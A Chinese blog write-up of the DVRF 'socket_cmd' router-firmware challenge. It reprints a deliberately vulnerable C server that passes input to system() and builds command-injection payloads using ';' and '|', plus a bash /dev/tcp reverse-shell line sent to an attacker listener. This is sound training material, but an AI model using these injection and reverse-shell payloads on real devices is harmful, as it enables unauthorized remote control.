前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >路由器漏洞挖掘命令执行

路由器漏洞挖掘命令执行

作者头像
随心助手
发布2019-10-15 12:03:54
9030
发布2019-10-15 12:03:54
举报
文章被收录于专栏:nginx遇上redisnginx遇上redis

||作者:h4l0

前言

这次的这道题目是 DVRF 的,程序是 pwnable/ShellCode_Required/ 目录下的 socket_cmd 。题目涉及到了简单的命令注入的绕过。

漏洞分析

在 github 下直接查看源码:

https://github.com/praetorian-inc/DVRF/blob/master/Pwnable%20Source/ShellCode_Required/socket_cmd.c

源码如下:

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

// Pwnable Socket Program

// By b1ack0wl

// Command Injection

int main(int argc, char **argv[])

{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);

exit(1);

}

char str[200] = "\0";

char endstr[100] = "\0";

int listen_fd, comm_fd;

int retval = 0;

struct sockaddr_in servaddr;

listen_fd = socket(AF_INET, SOCK_STREAM, 0);

bzero( &servaddr, sizeof(servaddr));

servaddr.sin_family = AF_INET;

servaddr.sin_addr.s_addr = htons(INADDR_ANY);

servaddr.sin_port = htons(atoi(argv[1]));

printf("Binding to port %d\n", atoi(argv[1]));

retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));

if (retval == -1){

printf("Error Binding to port %d\n", atoi(argv[1]) );

exit(1);}

listen(listen_fd, 2);

comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);

while(1)

{

bzero(str, 200);

write(comm_fd, "Send me a string:",17);

read(comm_fd,str,200);

if (!strcasecmp(str, "exit")){

write(comm_fd, "Exiting...");

exit(0);

}

snprintf(endstr, sizeof(endstr), "echo %s", str);

system(endstr);

bzero(endstr, 100);

snprintf(endstr, sizeof(endstr), "You sent me %s", str);

write(comm_fd, endstr, strlen(endstr)+1);

}

}

阅读源码可以知道程序的功能是在本地绑定一个端口进行监听,然后我们用 nc 直接连接上去就行了。

· 这里就相当于路由器在初始化一个 httpd 进程后,绑定了 80 端口,只要我们连接这个端口就可以进行访问。

例如我们这里绑定到本地的 55555 端口,然后再开一个终端连接上去

程序会输出我们的输入的字符串。

看源码发现,程序会使用 snprintf 格式化的输出并直接调用 system 函数,执行 shell 指令。

所以很明显这里存在一个命令执行的注入。这种形式的注入在做 CTF 的 WEB 题中还是可以经常遇到的。

在 IDA 中,也可以很清晰的看到,system 函数直接把 snprintf 函数格式化后到栈上的字符串作为参数来执行命令。

构造 payload

源码的 system 函数是 system("echo %s"); 这样调用的,我们可以使用 | 或者 ; 来达到截断的目的。

例如:system("echo 123;ls") 或者 system("echo 123|ls")

但是在这个命令执行的回显是在服务器端的,我们无法看到回显。所以自然就会想到我们可以通过反弹一个 shell 来 getshell

可以使用 bash -i 来反弹:

bash -i >& /dev/tcp/ip/port 0>&1

但是这里直接使用的话是不起作用的,貌似是空格被截断了啥的。

所以这里我们需要使用bash -c 命令, bash -i 的这个命令作为他的参数传进去,即:

123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

在 vps 上开启一个监听端口,就可以正常弹回 shell 了

· 原来以为 snprintf 函数存在栈溢出,但是其实只有 sprintf 才会溢出

总结

从这题的源码以及解题思路可以得出,在挖掘 IOT 固件漏洞的过程中,还可以尝试绑定的某个端口的 fuzz 的命令注入,或许会有意想不到的效果。

这题应该还有许多种绕过姿势的,这边就讲到的最简单的两种,使用 | 和 ; 符号进行注入。别的姿势大家可以自行挖掘和尝试。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 nginx遇上redis 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 漏洞分析
    • 构造 payload
    • 总结
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档